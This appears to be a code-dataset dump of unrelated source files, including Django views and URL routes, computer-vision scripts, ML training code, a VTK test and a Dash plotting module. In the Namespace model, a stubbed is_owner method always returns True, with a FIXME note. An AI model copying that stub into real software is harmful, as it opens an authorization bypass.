'cancel_url': reverse_lazy(settings.LOGIN_REDIRECT_URL),
}, name='reset_password_done'
),
url(
r'^email_change/$', auth_views.email_change, {
'cancel_url': reverse_lazy('settings'),
}, name='email_change'
),
url(r'^', include('security.urls', namespace='security')),
# Override mtp_common.user_admin's /users/new/ view
url(r'^users/new/$', UserCreationView.as_view(), name='new-user'),
# Override mtp_common.user_admin's /users/{ID}/edit/ view
url(r'^users/(?P<username>[^/]+)/edit/$', UserUpdateView.as_view(), name='edit-user'),
url(r'^', include('mtp_common.user_admin.urls')),
url(
r'^users/request/(?P<account_request>\d+)/accept/$',
AcceptRequestView.as_view(),
name='accept-request'
),
url(r'^js-i18n.js$', cache_control(public=True, max_age=86400)(JavaScriptCatalog.as_view()), name='js-i18n'),
url(r'^404.html$', lambda request: TemplateResponse(request, 'mtp_common/errors/404.html', status=404)),
url(r'^500.html$', lambda request: TemplateResponse(request, 'mtp_common/errors/500.html', status=500)),
)
urlpatterns += [
url(r'^ping.json$', PingJsonView.as_view(
build_date_key='APP_BUILD_DATE',
commit_id_key='APP_GIT_COMMIT',
version_number_key='APP_BUILD_TAG',
), name='ping_json'),
url(r'^healthcheck.json$', HealthcheckView.as_view(), name='healthcheck_json'),
url(r'^metrics.txt$', metrics_view, name='prometheus_metrics'),
url(r'^favicon.ico$', RedirectView.as_view(url=settings.STATIC_URL + 'images/favicon.ico', permanent=True)),
url(r'^robots.txt$', lambda request: HttpResponse('User-agent: *\nDisallow: /', content_type='text/plain')),
url(r'^\.well-known/security\.txt$', RedirectView.as_view(
url='https://raw.githubusercontent.com/ministryofjustice/security-guidance'
'/main/contact/vulnerability-disclosure-security.txt',
permanent=True,
)),
]
handler404 = 'mtp_common.views.page_not_found'
handler500 = 'mtp_common.views.server_error'
handler400 = 'mtp_common.views.bad_request'
| 1.90625 | 2 |
pinpoint/VideoReader.py | varma88/pinpoint | 6 | 12764291 | #! /usr/bin/env python
"""
Copyright 2015-2018 <NAME> <<EMAIL>>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import cv2
import numpy as np
import os
class VideoReader(cv2.VideoCapture):
'''Read a video in batches.
Parameters
----------
path: str
Path to the video file.
batch_size: int, default = 1
Batch size for reading frames
framerate: float, default = None
Video framerate for determining timestamps
for each frame. If None, timestamps will
equal frame number.
gray: bool, default = False
If gray, return only the middle channel
'''
def __init__(self, path, batch_size=1, framerate=None, gray=False):
if isinstance(path, str):
if os.path.exists(path):
super(VideoReader, self).__init__(path)
self.path = path
else:
raise ValueError('file or path does not exist')
else:
raise TypeError('path must be str')
self.batch_size = batch_size
self.n_frames = int(self.get(cv2.CAP_PROP_FRAME_COUNT))
if framerate:
self.timestep = 1. / framerate
else:
self.timestep = 1.
self.idx = 0
self.fps = self.get(cv2.CAP_PROP_FPS)
self.height = self.get(cv2.CAP_PROP_FRAME_HEIGHT)
self.width = self.get(cv2.CAP_PROP_FRAME_WIDTH)
self.shape = (self.height, self.width)
self.finished = False
self.gray = gray
self._read = super(VideoReader, self).read
def read(self):
''' Read one frame
Returns
-------
frame: array
Image is returned of the frame if a frame exists.
Otherwise, return None.
'''
ret, frame = self._read()
if ret:
if self.gray:
frame = frame[..., 1][..., None]
self.idx += 1
return self.idx - 1, frame
else:
self.finished = True
return None
def read_batch(self):
''' Read in a batch of frames.
Returns
-------
frames_idx: array
A batch of frames from the video.
frames: array
A batch of frames from the video.
'''
frames = []
frames_idx = []
for idx in range(self.batch_size):
frame = self.read()
if frame is not None and not self.finished:
frame_idx, frame = frame
frames.append(frame)
frames_idx.append(frame_idx)
empty = len(frames) == 0
if not empty:
frames = np.stack(frames)
frames_idx = np.array(frames_idx)
timestamps = frames_idx * self.timestep
return frames, frames_idx, timestamps
else:
return None
def close(self):
''' Close the VideoReader.
Returns
-------
bool
Returns True if successfully closed.
'''
self.release()
return not self.isOpened()
def __len__(self):
return int(np.ceil(self.n_frames / float(self.batch_size)))
def __getitem__(self, index):
if self.finished:
raise StopIteration
if isinstance(index, (int, np.integer)):
idx0 = index * self.batch_size
if self.idx != idx0:
self.set(cv2.CAP_PROP_POS_FRAMES, idx0 - 1)
self.idx = idx0
else:
raise NotImplementedError
return self.read_batch()
def __next__(self):
if self.finished:
raise StopIteration
else:
return self.read_batch()
def __del__(self):
self.close()
@property
def current_frame(self):
return int(self.get(cv2.CAP_PROP_POS_FRAMES))
@property
def current_time(self):
return self.get(cv2.CAP_PROP_POS_MSEC)
@property
def percent_finished(self):
return self.get(cv2.CAP_PROP_POS_AVI_RATIO) * 100
| 2.796875 | 3 |
chess/__init__.py | Jonxslays/Chess | 1 | 12764292 | """Chess..."""
__all__ = ["Game"]
__version__ = "0.1.0"
__author__ = "Jonxslays"
from .game import Game
| 1.109375 | 1 |
setup.py | rpavlik/edid-json-tools | 2 | 12764293 | #!/usr/bin/env python3
# Copyright (c) 2019-2021 The EDID JSON Tools authors. All rights reserved.
#
# SPDX-License-Identifier: BSD-3-Clause
# We need this stub of a script to be able to handle `pip install --editable .`
import setuptools
setuptools.setup()
| 1.09375 | 1 |
anomalydetection.py | RxstydnR/LEA-Net | 0 | 12764294 | <reponame>RxstydnR/LEA-Net
import os
import warnings
warnings.simplefilter('ignore')
# os.environ["CUDA_VISIBLE_DEVICES"] = "4"
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import gc
import argparse
import numpy as np
import pandas as pd
from sklearn.metrics import classification_report,confusion_matrix,f1_score
import tensorflow as tf
from tensorflow.keras.utils import to_categorical
from tensorflow.keras import backend as K
from tensorflow.keras.optimizers import Adam
from utils import plot_history
from data import load_data, exclude_positive, normalize
from model.LEANet import VGG16,ResNet18,CNN
def preparation(config, X_rgb_train, X_rgb_test, X_att_train, X_att_test, Y_train, Y_test):
img_shape=(256,256,3)
att_shape=(256,256,1)
att_points=config["AttPoint"]
X_att_train,X_att_test = normalize(X_att_train),normalize(X_att_test) # Max Normalize
X_fit_train = [X_rgb_train, X_att_train]
X_fit_test = [X_rgb_test, X_att_test]
if config["CAAN"]=="Direct":
config["outputs"] = "oneway"
Y_fit_train = to_categorical(Y_train,2)
Y_fit_test = to_categorical(Y_test,2)
else:
config["outputs"] = "separate"
Y_fit_train = [to_categorical(Y_train,2),to_categorical(Y_train,2)]
Y_fit_test = [to_categorical(Y_test,2),to_categorical(Y_test,2)]
# Model
if config["ADN"]=="VGG16":
model = VGG16(
img_shape=img_shape,
att_shape=att_shape,
att_points=att_points,
input_method = "none",
distil_method = "avg",
sigmoid_apply = True,
fusion_method = "attention",
flat_method = "flat",
att_base_model=config["CAAN"],
output_method=config["outputs"],
).build()
elif config["ADN"]=="ResNet18":
model = ResNet18(
img_shape=img_shape,
att_shape=att_shape,
att_points=att_points,
input_method = "none",
distil_method = "avg",
sigmoid_apply = True,
fusion_method = "attention",
flat_method = "gap",
att_base_model=config["CAAN"],
output_method=config["outputs"],
).build()
elif config["ADN"]=="CNN":
model = CNN(
img_shape=img_shape,
att_shape=att_shape,
att_points=att_points,
input_method = "none",
distil_method = "avg",
sigmoid_apply = True,
fusion_method = "attention",
flat_method = "flat",
output_method = config["outputs"]
).build()
return (X_fit_train,Y_fit_train),(X_fit_test,Y_fit_test), model
def main():
print(f"Path of dataset is {opt.dataset}")
n_CV = 5
for i in range(n_CV): # 5-fold CV
print(f"{i+1}/{n_CV} fold cross validation")
# load data
dataset_path = os.path.join(opt.dataset,str(i))
(X_rgb_train,X_rgb_test),(X_att_train,X_att_test),(X_cld_train,X_cld_test),(Y_train,Y_test) = load_data(dataset_path)
# Exclude positive data
if opt.p_rate < 1.0:
before_len_p = len(Y_train[Y_train==1])
print(f"Exclude positive data.")
X_rgb_train,X_att_train,Y_train = exclude_positive(X_rgb_train,X_att_train,Y_train,rate_P=opt.p_rate)
after_len_p = len(Y_train[Y_train==1])
print(f"From {before_len_p} to {after_len_p}.")
# remove unnecessary arrays
del X_cld_train
del X_cld_test
# make a path to result saving folder
SAVE_FOLDER = os.path.join(opt.SAVE_PATH,str(i))
os.makedirs(SAVE_FOLDER, exist_ok=True)
# set LEA-Net config
config={
"AttPoint":[opt.attPoint-1],
"ADN":opt.ADN,
"CAAN":opt.CAAN,
}
# get model
(X_fit_train,Y_fit_train),(X_fit_test,Y_fit_test), model = preparation(config,X_rgb_train,X_rgb_test,X_att_train,X_att_test,Y_train,Y_test)
model.compile(loss="binary_crossentropy", optimizer=Adam(learning_rate=opt.lr), metrics=["accuracy"])
# Training
print("Training ...")
history = model.fit(
X_fit_train, Y_fit_train,
batch_size=opt.batchSize,
epochs=opt.nEpochs,
verbose=2)
# Save model
model_name = f"ADN-{opt.ADN}_CAAN-{opt.CAAN}"
model.save(f'{SAVE_FOLDER}/{model_name}_{i}.h5', include_optimizer=False)
# Save history
hist_df = pd.DataFrame(history.history)
hist_df.to_csv(f'{SAVE_FOLDER}/history_{model_name}_{i}.csv')
plot_history(hist_df, path=SAVE_FOLDER, model_name=model_name, fold=i)
# Evaluation
pred = model.predict(X_fit_test)
print("Evaluation ...")
if opt.CAAN == "Direct":
pred_ADN = np.argmax(pred, axis=1)
pred_CAAN = np.zeros_like(pred_ADN)
print(f"Confusion Matrix \n{confusion_matrix(Y_test, pred_ADN)}")
print(f"Multiple Scores \n{classification_report(Y_test, pred_ADN)}")
print(f"F score = {f1_score(Y_test,pred_ADN)}")
else:
pred_ADN = np.argmax(pred[0], axis=1)
pred_CAAN = np.argmax(pred[1], axis=1)
print("========== ADN (Anomaly Detection Network) ==========")
print(f"Confusion Matrix \n{confusion_matrix(Y_test, pred_ADN)}")
print(f"Multiple Scores \n{classification_report(Y_test, pred_ADN)}")
print(f"F score = {f1_score(Y_test,pred_ADN)}")
print("========== CAAN (Color Anomaly Attention Network) ==========")
print(f"Confusion Matrix \n{confusion_matrix(Y_test, pred_CAAN)}")
print(f"Multiple Scores \n{classification_report(Y_test, pred_CAAN)}")
print(f"F score = {f1_score(Y_test,pred_CAAN)}")
# Save predictions and true labels
pred_label_df = pd.DataFrame(columns=["pred_ADN","pred_CAAN","true"])
pred_label_df["pred_main"] = pred_ADN
pred_label_df["pred_att"] = pred_CAAN
pred_label_df["true"] = Y_test
pred_label_df.to_csv(f'{SAVE_FOLDER}/prediction_{model_name}_{i}.csv')
del model
K.clear_session()
gc.collect()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='---')
parser.add_argument('--dataset', required=True, help='path to data folder')
parser.add_argument('--SAVE_PATH',required=True, help='path to save folder')
parser.add_argument('--p_rate', type=float, default=1.0, help='Ratio of Positive data in the training dataset.')
# anomaly detection
parser.add_argument('--ADN', type=str, default="VGG16", choices=["VGG16","ResNet18","CNN"], help='Anomaly Detection Network (ADN in the paper).')
parser.add_argument('--CAAN', type=str, default="MobileNet", choices=["MobileNet","ResNet","Direct"],help='External Network: Color Anomaly Attention Network (CAAN in the paper).')
parser.add_argument('--attPoint', type=int, default=1, choices=[1,2,3,4,5])
parser.add_argument('--batchSize', type=int, default=32, help='Training batch size')
parser.add_argument('--nEpochs', type=int, default=100, help='Number of epochs')
parser.add_argument('--lr', type=float, default=0.0001, help='Learning Rate for LEA-Net.')
opt = parser.parse_args()
print(f"ADN is {opt.ADN}")
print(f"CAAN is {opt.CAAN}")
main()
| 2.203125 | 2 |
tool/runners/cython_aoc-setup.py | TPXP/adventofcode-2019 | 8 | 12764295 | import os
import sys
from distutils.core import setup
from Cython.Build import cythonize
CYTHON_DEBUG = bool(os.getenv('CYTHON_DEBUG', ''))
build_dir = sys.argv.pop()
script_name = sys.argv.pop()
setup(
ext_modules=cythonize(
script_name,
build_dir=build_dir,
quiet=not CYTHON_DEBUG,
annotate=CYTHON_DEBUG,
compiler_directives={"language_level": 3},
)
)
| 1.71875 | 2 |
emulator/utils/helpers.py | Harry45/emuPK | 2 | 12764296 | <reponame>Harry45/emuPK
# Author: (Dr to be) <NAME>
# Collaborators: Prof. <NAME>, Prof. <NAME>, Dr. <NAME>
# Email : <EMAIL>
# Affiliation : Imperial Centre for Inference and Cosmology
# Status : Under Development
'''
Important functions to store/load files in a compressed format.
'''
import os
import numpy as np
import dill
def save_excel(df, folder_name, file_name):
'''
Given a folder name and file name, we will save a pandas dataframe to a excel file.
:param: df (pd.DataFrame) - pandas dataframe
:param: folder name (str) - name of the folder
:param: file name (str) - name of the file output
'''
# create the folder if it does not exist
if not os.path.exists(folder_name):
os.makedirs(folder_name)
df.to_excel(excel_writer=folder_name + '/' + file_name + '.xlsx')
def load_arrays(folder_name, file_name):
'''
Given a folder name and file name, we will load
the array
:param: folder_name (str) - the name of the folder
:param: file_name (str) - name of the file
:return: matrix (np.ndarray) - array
'''
matrix = np.load(folder_name + '/' + file_name + '.npz')['arr_0']
return matrix
def store_arrays(array, folder_name, file_name):
'''
Given an array, folder name and file name, we will store the
array in a compressed format.
:param: array (np.ndarray) - array which we want to store
:param: folder_name (str) - the name of the folder
:param: file_name (str) - name of the file
'''
# create the folder if it does not exist
if not os.path.exists(folder_name):
os.makedirs(folder_name)
# use compressed format to store data
np.savez_compressed(folder_name + '/' + file_name + '.npz', array)
def load_pkl_file(folder_name, file_name):
'''
Given a folder name and a file name, we will load the Python class.
For example, a full GP module
:param: folder_name (str) - the name of the folder
:param: file_name (str) - name of the file
:return: module (Python class) : complete module or it can be EMCEE full module
'''
with open(folder_name + '/' + file_name + '.pkl', 'rb') as f:
module = dill.load(f)
return module
def store_pkl_file(module, folder_name, file_name):
'''
Given a trained GP (module), we will save it given
a folder name and a file name
:param: module (python class) - for example, the GP module
:param: folder_name (str) - the name of the folder
:param: file_name (str) - name of the file
'''
# create the folder if it does not exist
if not os.path.exists(folder_name):
os.makedirs(folder_name)
# store the module using dill
with open(folder_name + '/' + file_name + '.pkl', 'wb') as f:
dill.dump(module, f)
| 3.828125 | 4 |
object_tracking.py | olubiyiontheweb/object_tracking_video | 0 | 12764297 | <gh_stars>0
import dlib
import cv2
import numpy as np
video = cv2.VideoCapture("people.mp4")
if video.isOpened() == False:
print("Error opening video")
check, frame = video.read()
if check == False:
print("Cannot read video")
cv2.imshow("first frame", frame)
cv2.waitKey(0)
bbox = cv2.selectROI(frame)
cv2.destroyAllWindows
rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
# Convert bbox to Dlib rectangle
(topLeftX, topLeftY, w, h) = bbox
bottomRightX = topLeftX + w
bottomRightY = topLeftY + h
dlibRect = dlib.rectangle(topLeftX, topLeftY,
bottomRightX, bottomRightY)
# Create tracker
tracker = dlib.correlation_tracker()
# Initialize tracker
tracker.start_track(rgb, dlibRect)
# Create a new window where we will display the results
cv2.namedWindow("Tracker")
# Display the first frame
cv2.imshow("Tracker", frame)
count = 0
while True:
check, frame = video.read()
if check == False:
print("video cannot be read here")
break
# Convert frame to RGB
rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
# Update tracker
tracker.update(rgb)
count = count + 1
objectPosition = tracker.get_position()
topLeftX = int(objectPosition.left())
topLeftY = int(objectPosition.top())
bottomRightX = int(objectPosition.right())
bottomRightY = int(objectPosition.bottom())
# Create bounding box
cv2.rectangle(frame, (topLeftX, topLeftY),
(bottomRightX, bottomRightY), (0, 0, 255), 2)
# Display frame
cv2.imshow("Tracker", frame)
# print(str(video.get(cv2.CAP_PROP_FRAME_COUNT)))
key = cv2.waitKey(2)
if key == ord('q'):
break
elif key == ord('s'):
cv2.imwrite(
"obj_track"+str(count)+".jpg", frame)
print("Frame Saved")
cv2.destroyAllWindows()
| 2.9375 | 3 |
core/vtuber.py | zihochann/zihou | 0 | 12764298 | <gh_stars>0
from django.template import loader
from core.models import Vtuber
BILI_PREFIX = 'https://space.bilibili.com/'
def get_bilibili_url(bili_id: str):
return 'https://space.bilibili.com/{}/'.format(bili_id) if len(bili_id) >\
0 else ''
def render_vtbs(request):
def generate_row(vtb):
# Check the twitter is empty or not.
if len(vtb.twitter) == 0:
twitter = ''
else:
twitter = '<a href="https://twitter.com/{}">@{}</a>'.format(
vtb.twitter, vtb.twitter)
if len(vtb.bili_id) == 0:
bili = ''
else:
bili_link = get_bilibili_url(vtb.bili_id)
bili = '<a href="{}">{}</a>'.format(bili_link, bili_link)
return ['<tr>',
'<td>{}</td>'.format(vtb.name),
'<td>{}</td>'.format(twitter),
'<td>{}</td>'.format(bili),
'<td><a class="btn-a" href="/vtbedit/?name={}">編集</a> <a '
'class="btn-a" href="#" onclick="removeVtuber(\'{}\');">削除</td>'.format(
vtb.name, vtb.name),
'</tr>']
vtb_list = []
for vtuber in Vtuber.objects.all():
vtb_list += generate_row(vtuber)
return loader.render_to_string('vtb_list.html',
{'vtblist': '\n'.join(vtb_list)},
request)
def render_vtb_edit(request, name='', twitter='', bili=BILI_PREFIX):
return loader.render_to_string('vtb_edit_panel.html',
{'vtbname': name,
'vtbtwitter': twitter,
'vtbbili': bili},
request)
def render_add_vtb(request):
return loader.render_to_string('vtb_editor.html',
{'vtbedit': render_vtb_edit(request),
'originalname': '',
'buttonname': '出席者を追加する',
'buttonaction': 'addVtuber();',
'title': '新しい出席者を登録する'},
request)
def vtb_checkboxs(selected=[]):
def html_code(label: str, id: int, checked):
return [
'<div class="form-check form-check-inline">',
' <input class="form-check-input" type="checkbox" id="vtb{}" '
'value="{}"{}>'.format(id, label, ' checked' if checked else ''),
' <label class="form-check-label" for="vtb{}">{}</label>'.format(id, label),
'</div>']
box_codes = []
vtb_counter = 0
for ii, vtb in enumerate(Vtuber.objects.all()):
box_codes += html_code(vtb.name, ii, vtb.name in selected)
vtb_counter = ii
return '\n'.join(box_codes), vtb_counter
def render_edit_vtb(request):
target = Vtuber.objects.filter(name=request.GET.get('name'))
if not target.exists():
return None
target = target.first()
# Render the target edit widget.
bili_url = get_bilibili_url(target.bili_id)
if bili_url == '':
bili_url = BILI_PREFIX
return loader.render_to_string('vtb_editor.html',
{'title': '出席者を編集',
'originalname': target.name,
'buttonname': '出席者を編集する',
'buttonaction': 'editVtuber();',
'vtbedit': render_vtb_edit(
request, target.name, target.twitter,
bili_url)},
request)
def extract_bili_id(src: str):
if not src.startswith(BILI_PREFIX):
return ''
# Now we have to parse it.
src = src[len(BILI_PREFIX):]
# Find the first character which is not number.
for ii in range(len(src)):
if not src[ii].isnumeric():
return src[:ii]
return src
def remove_vtuber(request):
# Find the target.
target = Vtuber.objects.filter(name=request.POST.get('name'))
if target.exists():
target.first().delete()
return {'status': 'ok'}
def edit_vtuber(request):
origin_name = request.POST.get('origin')
# Find the target.
target = Vtuber.objects.filter(name=origin_name)
if not target.exists():
return {'status': 'error', 'info': 'not existed.'}
target = target.first()
# Now change the content.
update_name = request.POST.get('name')
# Extract the bilibili id
update_bili_id = extract_bili_id(request.POST.get('bilibili'))
if update_name != origin_name:
# Check whether the update name existed.
update_check = Vtuber.objects.filter(name=update_name)
if update_check.exists():
return {'status': 'error', 'info': '{}はすでに存在しています。'.format(
update_name)}
# Remove the original data.
target.delete()
# Create a new one.
Vtuber.objects.create(name=update_name, twitter=request.POST.get('twitter'),
bili_id=update_bili_id)
else:
# Okay, now it is free to update.
target.twitter=request.POST.get('twitter')
target.bili_id=update_bili_id
target.save()
# Done.
return {'status': 'ok'}
def add_vtuber(request):
# First we check the bilibili url.
vtb_bili_id = extract_bili_id(request.POST.get('bilibili'))
# Fetch the name and twitter id.
vtb_name = request.POST.get('name')
if len(vtb_name) == 0:
return {'status': 'error', 'info': '名前がありません。'}
vtb_twitter = request.POST.get('twitter')
# Check whether existed before.
exist_check = Vtuber.objects.filter(name=vtb_name)
if exist_check.exists():
return {'status': 'error', 'info': '{}はすでに存在しています。'.format(
vtb_name)}
# Create the model.
Vtuber.objects.create(name=vtb_name, twitter=vtb_twitter,
bili_id=vtb_bili_id)
return {'status': 'ok'}
| 2.1875 | 2 |
algorithms/sorting/quick_sort.py | ramarajesh2112/algorithms | 1 | 12764299 | """
quick_sort.py
Implementation of quick sort on a list and returns a sorted list.
Quick Sort Overview:
------------------------
Uses partitioning to recursively divide and sort the list
Time Complexity: O(n**2) worst case
Space Complexity: O(n**2) this version
Stable: No
Psuedo Code: CLRS. Introduction to Algorithms. 3rd ed.
"""
def sort(seq):
if len(seq) < 1:
return seq
else:
pivot = seq[0]
left = sort([x for x in seq[1:] if x < pivot])
right = sort([x for x in seq[1:] if x >= pivot])
return left + [pivot] + right
| 3.984375 | 4 |
galaxy_common/models/namespace.py | alikins/galaxy-common-deprecated | 0 | 12764300 | # (c) 2012-2019, Ansible by Red Hat
#
# This file is part of Ansible Galaxy
#
# Ansible Galaxy is free software: you can redistribute it and/or modify
# it under the terms of the Apache License as published by
# the Apache Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
# Ansible Galaxy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# Apache License for more details.
#
# You should have received a copy of the Apache License
# along with Galaxy. If not, see <http://www.apache.org/licenses/>.
import logging
from django.conf import settings
from django.db import models
from django.urls import reverse
from .base import CommonModel
# from .content import Content
log = logging.getLogger(__name__)
class Namespace(CommonModel):
"""
Represents the aggregation of multiple namespaces across providers.
"""
class Meta:
ordering = ('name',)
owners = models.ManyToManyField(
settings.AUTH_USER_MODEL,
related_name='namespaces',
editable=True,
)
avatar_url = models.CharField(
max_length=256,
blank=True,
null=True,
verbose_name="Avatar URL"
)
location = models.CharField(
max_length=256,
blank=True,
null=True,
verbose_name="Location"
)
company = models.CharField(
max_length=256,
blank=True,
null=True,
verbose_name="Company Name"
)
email = models.CharField(
max_length=256,
blank=True,
null=True,
verbose_name="Email Address"
)
html_url = models.CharField(
max_length=256,
blank=True,
null=True,
verbose_name="Web Site URL"
)
is_vendor = models.BooleanField(default=False)
def get_absolute_url(self):
return reverse('api:v1:namespace_detail', args=(self.pk,))
@property
def content_counts(self):
# FIXME: just stubbed out until COntent is a thing
return 31
# return Content.objects \
# .filter(namespace=self.pk) \
# .values('content_type__name') \
# .annotate(count=models.Count('content_type__name')) \
# .order_by('content_type__name')
def is_owner(self, user):
log.warning('Namespace.is_owner is stubbed. FIXME! user=%s', user)
return True
# return self.owners.filter(pk=user.pk).exists()
| 1.882813 | 2 |
Filters/Modeling/Testing/Python/TestImprintFilter.py | cclauss/VTK | 1,755 | 12764301 | <reponame>cclauss/VTK<gh_stars>1000+
#!/usr/bin/env python
import vtk
# A simpler imprint test. One plane
# imprints a second plane.
# Control the resolution of the test
res = 2
# Create the RenderWindow, Renderer
#
ren = vtk.vtkRenderer()
renWin = vtk.vtkRenderWindow()
renWin.AddRenderer( ren )
iren = vtk.vtkRenderWindowInteractor()
iren.SetRenderWindow(renWin)
# Use two plane sources:
# one plane imprints on the other plane.
#
plane1 = vtk.vtkPlaneSource()
plane1.SetXResolution(3)
plane1.SetYResolution(1)
plane1.SetOrigin(0,0,0)
plane1.SetPoint1(2,0,0)
plane1.SetPoint2(0,1,0)
p1Mapper = vtk.vtkPolyDataMapper()
p1Mapper.SetInputConnection(plane1.GetOutputPort())
p1Actor = vtk.vtkActor()
p1Actor.SetMapper(p1Mapper)
p1Actor.GetProperty().SetRepresentationToSurface()
plane2 = vtk.vtkPlaneSource()
plane2.SetXResolution(res)
plane2.SetYResolution(res)
plane2.SetOrigin(-0.25,0.25,0)
plane2.SetPoint1(1.5,0.25,0)
plane2.SetPoint2(-0.25,0.75,0)
p2Mapper = vtk.vtkPolyDataMapper()
p2Mapper.SetInputConnection(plane2.GetOutputPort())
p2Actor = vtk.vtkActor()
p2Actor.SetMapper(p2Mapper)
p2Actor.GetProperty().SetRepresentationToSurface()
# Now imprint
imp = vtk.vtkImprintFilter()
imp.SetTargetConnection(plane1.GetOutputPort())
imp.SetImprintConnection(plane2.GetOutputPort())
imp.SetTolerance(0.00001)
imp.Update()
mapper = vtk.vtkPolyDataMapper()
mapper.SetInputConnection(imp.GetOutputPort())
actor = vtk.vtkActor()
actor.SetMapper(mapper)
actor.GetProperty().SetRepresentationToSurface()
# Create the RenderWindow, Renderer
#
ren1 = vtk.vtkRenderer()
ren1.SetBackground(0.1,0.2,0.4)
ren1.SetViewport(0,0,0.5,1.0)
ren2 = vtk.vtkRenderer()
ren2.SetBackground(0.1,0.2,0.4)
ren2.SetViewport(0.5,0,1.0,1.0)
renWin = vtk.vtkRenderWindow()
renWin.AddRenderer( ren1 )
renWin.AddRenderer( ren2 )
renWin.SetSize(600,300)
iren = vtk.vtkRenderWindowInteractor()
iren.SetRenderWindow(renWin)
ren1.AddActor(p1Actor)
ren1.AddActor(p2Actor)
ren1.ResetCamera()
ren2.AddActor(actor)
ren2.SetActiveCamera(ren1.GetActiveCamera())
renWin.Render()
iren.Start()
| 2.0625 | 2 |
modules/OfficialBERT.py | benywon/ComQA | 15 | 12764302 | <reponame>benywon/ComQA
# -*- coding: utf-8 -*-
"""
@Time : 2021/1/14 下午5:21
@FileName: OfficialBERT.py
@author: 王炳宁
@contact: <EMAIL>
"""
import torch
import torch.nn as nn
from transformers import AutoModel
from torch.nn import functional as F
from utils import load_file
class OfficialBERT(nn.Module):
def __init__(self, indicator=80):
super().__init__()
self.encoder = AutoModel.from_pretrained("bert-base-chinese",
mirror='https://mirrors.bfsu.edu.cn/hugging-face-models/')
self.n_hidden = self.encoder.config.hidden_size
self.prediction = nn.Sequential(
nn.Linear(self.n_hidden, self.n_hidden // 2),
nn.Tanh(),
nn.Linear(self.n_hidden // 2, 1),
)
self.node_indicator = indicator
def forward(self, inputs):
[seq, label] = inputs
representations = self.encoder(seq)[0]
mask_idx = torch.eq(seq, self.node_indicator)
hidden = representations.masked_select(mask_idx.unsqueeze(2).expand_as(representations)).view(
-1, self.n_hidden)
answer_logit = self.prediction(hidden).squeeze(1)
if label is None:
return torch.sigmoid(answer_logit)
return F.binary_cross_entropy_with_logits(answer_logit, label)
| 2.6875 | 3 |
examples/hello_world.py | Popeyef5/Cassandra | 3 | 12764303 | #!/usr/bin/env python3
if __name__ == '__main__':
from cassandra.rockets import RandomRocket
from cassandra.simulation import Simulation
from cassandra.physics.integrators import RK4
SIM_TIME = 8
SIM_TIMESTEP = 0.01
rocket = RandomRocket()
integrator = RK4()
simulation = Simulation(rocket, integrator)
simulation.run(SIM_TIME, SIM_TIMESTEP)
simulation.animate()
| 2.171875 | 2 |
ex056.py | heltonsdl/python-3---curso-em-video | 0 | 12764304 | somaidade = 0
mediaidade = 0
nomehomem = ''
idadehomem = 0
totmulher20 = 0
''' Desenvolva um programa que leia o nome, idade e sexo de 4 pessoas. No final do programa, mostre: a média de idade do grupo, qual é o nome do homem mais velho e quantas mulheres têm menos de 20 anos.'''
for p in range (1,5):
print('=========== {}° PESSOA ==============='.format(p))
nome = str(input('Escreva o seu nome: '))
idade = int(input('Escreva a sua idade: '))
sexo = str(input(' Sexo: [F/M]: '))
somaidade += idade
mediaidade = somaidade / 4
if p == 1 and sexo in 'Mm':
nomehomem = nome
idadehomem = idade
if sexo in 'mM' and idade > idadehomem:
idadehomem = idade
nomehomem = nome
if sexo in 'fF' and idade < 20:
totmulher20+= 1
print (' A idade do homem mais velho é {} e o seu nome é {}'.format(idadehomem, nomehomem))
print(' A media de idade do grupo é de {}.'.format(mediaidade))
print (' O total de mulher com menos de 20 anos é {}.'.format(totmulher20))
| 3.84375 | 4 |
Lab_Dash/dash_plot_SEL_compare.py | SimonSchubotz/Electronic-Laboratory-Notebook | 0 | 12764305 | <reponame>SimonSchubotz/Electronic-Laboratory-Notebook<filename>Lab_Dash/dash_plot_SEL_compare.py
import json
import glob, os
import dash
import datetime
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output
import plotly.express as px
from django_plotly_dash import DjangoDash
from django.apps import apps
import plotly.graph_objects as go
from Lab_Misc.General import *
from dbfread import DBF
import pandas as pd
from django.http import HttpResponse
from django.utils import timezone
import numpy as np
import time
from Exp_Main.models import SEL
from Exp_Sub.models import LSP
from plotly.subplots import make_subplots
from Lab_Misc import General
def conv(x):
return x.replace(',', '.').encode()
def Gen_dash(dash_name):
class Gen_fig():
def load_data(self, target_id):
try:
entry = SEL.objects.get(id = target_id)
self.entry = entry
file = os.path.join( rel_path, entry.Link_XLSX)
df = pd.read_excel(file, 'Tabelle1')
new_vals = df[df>1]/1000000#correct for wrong format
Curr_Dash = self.entry.Dash
df.update(new_vals)
self.data = df
self.data["Time (min.)"] = Curr_Dash.Start_datetime_elli + pd.TimedeltaIndex(self.data["Time (min.)"], unit='m')
self.data["Time (min.)"] = self.data["Time (min.)"].dt.tz_convert(timezone.get_current_timezone())
return_str = 'The following data could be loaded: Ellisometry'
self.sub_data, return_str_sub = self.get_subs()
return_str += return_str_sub
os.chdir(cwd)
return True, return_str
except:
return False, 'No data found!'
def has_sub(self):
try:
#Sub_Exp = self.entry.Sub_Exp.all()
#print(Sub_Exp)
#self.get_subs()
return True
except:
return False
def get_subs(self):
Sub_Exps = self.entry.Sub_Exp.all()
Sub_Exps_dic = {}
return_str = ''
for Sub_Exp in Sub_Exps:
Device = Sub_Exp.Device
model = apps.get_model('Exp_Sub', str(Device.Abbrev))
Exp_in_Model = model.objects.get(id = Sub_Exp.id)
if Device.Abbrev == 'MFL':
Gas = Exp_in_Model.Gas.first()
if Gas.Name == 'H2O':
MFL_H2O_data = self.get_sub_csv(Exp_in_Model)
